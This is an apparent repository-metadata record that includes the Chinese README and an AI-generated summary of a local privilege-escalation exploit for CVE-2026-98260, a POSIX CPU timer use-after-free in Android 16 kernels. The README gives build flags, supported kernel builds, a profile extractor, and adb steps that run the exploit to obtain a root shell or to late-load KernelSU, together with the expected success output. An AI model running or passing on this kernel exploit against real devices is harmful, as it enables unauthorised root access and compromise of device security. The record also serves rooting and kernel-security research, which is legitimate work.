[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-110877":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":16,"subscribersCount":16,"size":16,"stars1d":16,"stars7d":17,"stars30d":18,"stars90d":16,"forks30d":16,"starsTrendScore":16,"compositeScore":19,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":20,"fork":20,"defaultBranch":21,"hasWiki":22,"hasPages":20,"topics":23,"createdAt":10,"pushedAt":24,"updatedAt":25,"readmeContent":26,"aiSummary":27,"trendingCount":16,"starSnapshotCount":16,"syncStatus":28,"lastSyncTime":29,"discoverSource":30},110877,"CVE-2026-98260","YuKongA\u002FCVE-2026-98260","YuKongA","6.12.69-android16-6-g242e1a07f878","",null,"Rust",68,26,51,3,0,4,17,44.94,false,"main",true,[],"2026-11-19 10:01:10","2026-11-19 10:50:50","# CVE-2026-98260 Timer LPE\n\nCVE-2026-98260 POSIX CPU timer UAF 移植，支持情况见「内核支持」\n\n两条链：\n\n- `timer`：真实 cred 零写 → `uid=0`、`u:r:shell:s0`（shell 域 root，bset caps）\n- `timer fake`：fake cred（full caps）→ 安装版 KernelSU `libksud.so` late-load\n\n## 状态\n\n| 路径                                     | 结果                                                              |\n| ---------------------------------------- | ----------------------------------------------------------------- |\n| real cred 零写 + `setuid(0)` + `exec sh` | `uid=0`、`u:r:shell:s0`、`ROOT_SHELL_OK`                          |\n| fake cred + `ksud late-load`             | 安装版 `libksud.so`（uapi 6）、`KSU_LOADED`、`su` 为 `u:r:ksu:s0` |\n\n## 环境\n\n- 启动身份：adb\u002Fshell（uid 2000，`u:r:shell:s0`），可读 tracefs 与 `\u002Fproc\u002Fslabinfo`\n- KernelSU manager 已安装（`me.weishu.kernelsu`）时，`fake` 会自动使用其 `lib\u002Farm64\u002Flibksud.so`\n\n## 构建\n\n```sh\ncd timer\nNDK=~\u002FAndroid\u002FSdk\u002Fndk\u002F30.0.16248370\u002Ftoolchains\u002Fllvm\u002Fprebuilt\u002Flinux-x86_64\u002Fbin\n$NDK\u002Faarch64-linux-android35-clang -O2 -std=gnu11 -static \\\n    -fno-stack-protector -fno-pic -I. \\\n    -ffunction-sections -fdata-sections timer.c -o timer \\\n    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \\\n    -Wl,-z,norelro -pthread\n```\n\n## 内核支持\n\nper-build 常量各自一个 `timer\u002Fkbuilds\u002F\u003Crelease>.h`，由 `timer\u002Fkbuilds.h` 索引；`timer.c` 只含逻辑，`timer` 按 `uname -r` 整串匹配，未命中时打印已知 build 并退出\n\n已支持：\n\n- `6.12.69-android16-6-g242e1a07f878-ab15865446-4k`\n- `6.12.69-android16-6-g5fd39602326e-ab16372235-4k`\n\n新增内核（检测 98260 + 写入并登记 profile；退出码 0 可打、3 已修复、1 出错）：\n\n```sh\ncargo build --release --manifest-path tools\u002Fextract\u002FCargo.toml\ntools\u002Fextract\u002Ftarget\u002Frelease\u002Ftimer-extract boot.img --add\n```\n\n`tools\u002F*.c` 用于核对 call site、raw record、timer 泄漏与 8 KiB AF_UNIX 回收通道。\n\n## 使用\n\n```sh\nadb push timer \u002Fdata\u002Flocal\u002Ftmp\u002Ftimer\nadb shell chmod 755 \u002Fdata\u002Flocal\u002Ftmp\u002Ftimer\n\n# 诊断\nadb shell \u002Fdata\u002Flocal\u002Ftmp\u002Ftimer build   # 打印内核 release 与命中的 profile\nadb shell \u002Fdata\u002Flocal\u002Ftmp\u002Ftimer ids     # 探测 tracefs page event id\nadb shell \u002Fdata\u002Flocal\u002Ftmp\u002Ftimer leak    # 只做 base\u002Fcred\u002Ftask 泄漏，不触发 UAF\n\n# uid-0 shell（真实 cred）\nadb shell \u002Fdata\u002Flocal\u002Ftmp\u002Ftimer         # id + context + ROOT_SHELL_OK\nadb shell \u002Fdata\u002Flocal\u002Ftmp\u002Ftimer shell   # 交互 sh\n\n# KernelSU（fake cred + 安装版 ksud）\nadb shell 'cd \u002Fdata\u002Flocal\u002Ftmp && setsid .\u002Ftimer fake >timer.log 2>&1 \u003C\u002Fdev\u002Fnull &'\nadb shell cat \u002Fdata\u002Flocal\u002Ftmp\u002Ftimer.log\n```\n\n`fake` 成功标志：\n\n```text\n[ksu] ksud=...\u002Flib\u002Farm64\u002Flibksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)\nKSU_LOADED\nkernelsu ... Live\n```\n\n```sh\nadb shell \u002Fsystem\u002Fbin\u002Fsu -c id   # uid=0 ... context=u:r:ksu:s0\n```\n\n## 安全\n\n- 失败 state 会 **park 并持有 zombie**；不要 kill，重启是唯一安全清理\n- 触发 UAF 后不要对 parked 进程 `timeout`\u002F`kill`，否则可能 panic\n- 使用 KernelSU 模拟软重启能正常保留越狱状态，硬重启后 root 正常消失\n\n## 目录\n\n```text\ntimer\u002Ftimer.c      exploit\ntimer\u002Fkbuilds.h    内核 profile 索引（include 列表 + 指针表）\ntimer\u002Fkbuilds\u002F     各内核的 profile（\u003Crelease>.h）\ntimer\u002Ftimer        静态产物\ntools\u002F*.c          移植诊断源码\ntools\u002Fextract\u002F     提取器与检测（Rust，bin timer-extract）\n```\n\n## 参考\n\n- `woshigenm\u002FCVE-2026-98260`：trigger 与 cred 思路\n- `ghostlock-app`：KernelSU late-load；`tools\u002Fextract_rs` 提取器\n- 其他 CVE-2026-98260 移植项目：order-1 回收与时序\n","这是一个针对 CVE-2026-98260（POSIX CPU timer Use-After-Free）漏洞的本地提权（LPE）利用工具，专为 Android 16 系统内核定制。核心功能包括两条提权路径：一是通过真实 cred 零写实现 shell 域下 uid=0 的 root shell；二是结合已安装的 KernelSU 框架，通过 fake cred 和 late-load libksud.so 实现持久化内核级 root。项目采用 Rust 编写提取\u002F检测组件，C 语言实现主 exploit，支持按内核 release 字符串自动匹配内存布局，并提供诊断、泄漏探测与安全触发机制。适用于 Android 设备 Root 开发、内核安全研究及 KernelSU 兼容性验证等场景。",2,"2026-11-24 04:39:52","CREATED_QUERY"]